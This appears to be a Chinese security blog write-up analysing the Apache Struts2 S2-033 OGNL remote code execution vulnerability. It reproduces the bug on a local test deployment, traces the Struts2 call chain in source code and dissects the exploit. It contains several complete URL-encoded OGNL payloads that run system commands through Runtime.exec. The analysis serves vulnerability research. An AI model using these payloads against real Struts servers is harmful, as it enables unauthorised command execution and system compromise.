关于 S2-033
这是2016年5月份左右公开的一个 Struts2 系列代码执行漏洞,是 OGNL 表达式引起的。
先看官方对这个漏洞的描述:
在使用REST插件时启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
影响范围:
Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)
从官方的描述中大概能知道是因为使用了 REST 插件且启动了动态方法调用功能,会导致漏洞的产生。
网上已给出相关漏洞环境:https://vulapps.evalbug.com/s_struts2_s2-033/
复现
部署 struts-showcase 的 war 包。
http://localhost:8888/orders/3/%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23process%[email protected]@getRuntime().exec(%23parameters.command[0]),%23ros%3D(@[email protected]().getOutputStream())%[email protected]@copy(%23process.getInputStream()%2C%23ros)%2C%23ros.flush(),%23xx%3d123,%23xx.toString.json?&command=whoami
分析
先放上一张 struts2 的运行原理图,对 struts2 运行原理有个基本的了解。
访问:http://localhost:8888/orders/3/test
然后看 hook 出来的调用链。
---------------------------------EXP-----------------------------------------
test()
2019-02-28 16:47:42,156 DEBUG (com.opensymphony.xwork2.DefaultActionInvocation:76) - Executing action method = test
---------------------------------璋冪敤閾�---------------------------------------
java.lang.Thread.getStackTrace(Thread.java:1559)
org.javaweb.expression.Agent.expression(Agent.java:179)
ognl.Ognl.parseExpression(Ognl.java)
com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:332)
com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:307)
com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:423)
com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:287)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:250)
//省略.............
com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147)
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564)
org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81)
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99)
//省略.............
--------------------------------------------------------------------------
---------------------------------EXP-----------------------------------------
doTest()
---------------------------------璋冪敤閾�---------------------------------------
java.lang.Thread.getStackTrace(Thread.java:1559)
org.javaweb.expression.Agent.expression(Agent.java:179)
ognl.Ognl.parseExpression(Ognl.java)
com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:332)
com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:307)
com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:428)
com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:287)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:250)
org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:138)
//省略.............
org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:138)
com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147)
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564)
org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81)
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99)
//省略.............
--------------------------------------------------------------------------
可以看到执行了 test 和 doTest 两个方法。
下面从 struts2 的核心控制器 StrutsPrepareAndExecuteFilter 开始分析。
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)res;
try {
if (this.excludedPatterns != null && this.prepare.isUrlExcluded(request, this.excludedPatterns)) {
chain.doFilter(request, response);
} else {
this.prepare.setEncodingAndLocale(request, response);
this.prepare.createActionContext(request, response);
this.prepare.assignDispatcherToThread();
request = this.prepare.wrapRequest(request);
ActionMapping mapping = this.prepare.findActionMapping(request, response, true); // 获取请求 mapping
if (mapping == null) {
boolean handled = this.execute.executeStaticResourceRequest(request, response);
if (!handled) {
chain.doFilter(request, response);
}
} else {
this.execute.executeAction(request, response, mapping); // 执行 action
}
}
} finally {
this.prepare.cleanupRequest(request);
}
}
进入 execute.executeAction
方法后,经过executeAction:81, ExecuteOperations (org.apache.struts2.dispatcher.ng)
到达 serviceAction:532, Dispatcher (org.apache.struts2.dispatcher)
方法来处理 ActionProxy。
ActionProxy proxy = ((ActionProxyFactory)this.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy(namespace, name, method, extraContext, true, false);
request.setAttribute("struts.valueStack", proxy.getInvocation().getStack());
if (mapping.getResult() != null) {
Result result = mapping.getResult();
result.execute(proxy.getInvocation());
} else {
proxy.execute(); // 这里开始调用 action 的 test 方法,继续跟进
}
从proxy.execute();
这一行开始继续跟进。
execute:147, DefaultActionProxy (com.opensymphony.xwork2)
//调用了retCode = this.invocation.invoke();
invoke:138, RestActionInvocation (org.apache.struts2.rest)
//调用了 this.resultCode = super.invoke();
invoke:247, DefaultActionInvocation (com.opensymphony.xwork2)
//调用了 this.resultCode = interceptor.getInterceptor().intercept(this);
经过前面无数次调用,最终在 DefaultActionInvocation.invoke()
中调用了invokeActionOnly()
,然后调invokeAction()
,到达触漏洞的部分。
它会取出我传入的 test 把它当做 action 的方法去调用 OGNL 执行。
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
String methodName = this.proxy.getMethod();
if (LOG.isDebugEnabled()) {
LOG.debug("Executing action method = #0", new String[]{methodName});
}
String timerKey = "invokeAction: " + this.proxy.getActionName();
try {
String result;
try {
UtilTimerStack.push(timerKey);
Object methodResult;
try {
methodResult = this.ognlUtil.getValue(methodName + "()", this.getStack().getContext(), action); //从这里开始 取出了我传入的 test 然后加上 () 作为 ognl 表达式去执行,也就是调用 action 的 test 方法。
} catch (OgnlException var18) {
try {
result = "do" + methodName.substring(0, 1).toUpperCase() + methodName.substring(1) + "()"; // 如果执行 test 方法抛异常了 就再调用 doTest() 方法。
methodResult = this.ognlUtil.getValue(result, ActionContext.getContext().getContextMap(), action);
} catch (OgnlException var17) {
//省略...
}
}
//省略...
} finally {
UtilTimerStack.pop(timerKey);
}
}
再把payload带入,成功弹出计算器。
总结
最后我再来分析一下 payload,说一下为什么会执行系统命令。
#[email protected]@DEFAULT_MEMBER_ACCESS,#xx=123,#[email protected]@toString(@[email protected]().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?
&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse
&content=2908
&command=calc
其实可以精简一下
#[email protected]@DEFAULT_MEMBER_ACCESS,
#xx=123,
#[email protected]@getRuntime().exec(#parameters.command[0]).getInputStream(),
#xx.toString.json?
&command=calc
转换一下url编码
http://localhost:8888/orders/4/%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%[email protected]@getRuntime().exec(%23parameters.command[0]).getInputStream(),%23xx.toString.json?&command=calc
解读:
#[email protected]@DEFAULT_MEMBER_ACCESS
// 为了有权限访问我们要调用的方法
#xx=123
创建一个名为 xx 的字符串
#[email protected]@getRuntime().exec(#parameters.command[0]).getInputStream(),
// 调用 java.lang.Runtime 类的 getRuntime().exec()方法 传入请求参数(parameters属性)的 "command" 参数的第一个值,也就是 calc#xx.toString.json? 因为 struts-plugin.xml 中设定了
<constant name="struts.action.extension" value="xhtml,,xml,json" />
就是请求路径结尾(键值对参数之前)必须为这三个才会当做 rest 处理 , 处理了.json后剩下了 #xx.toString 这里会和代码中的 "()" 拼接 也就是调用 toString() 方法,让表达式正常执行。
&command=calc
// command参数 也就是我们在 exec 方法中要执行的系统命令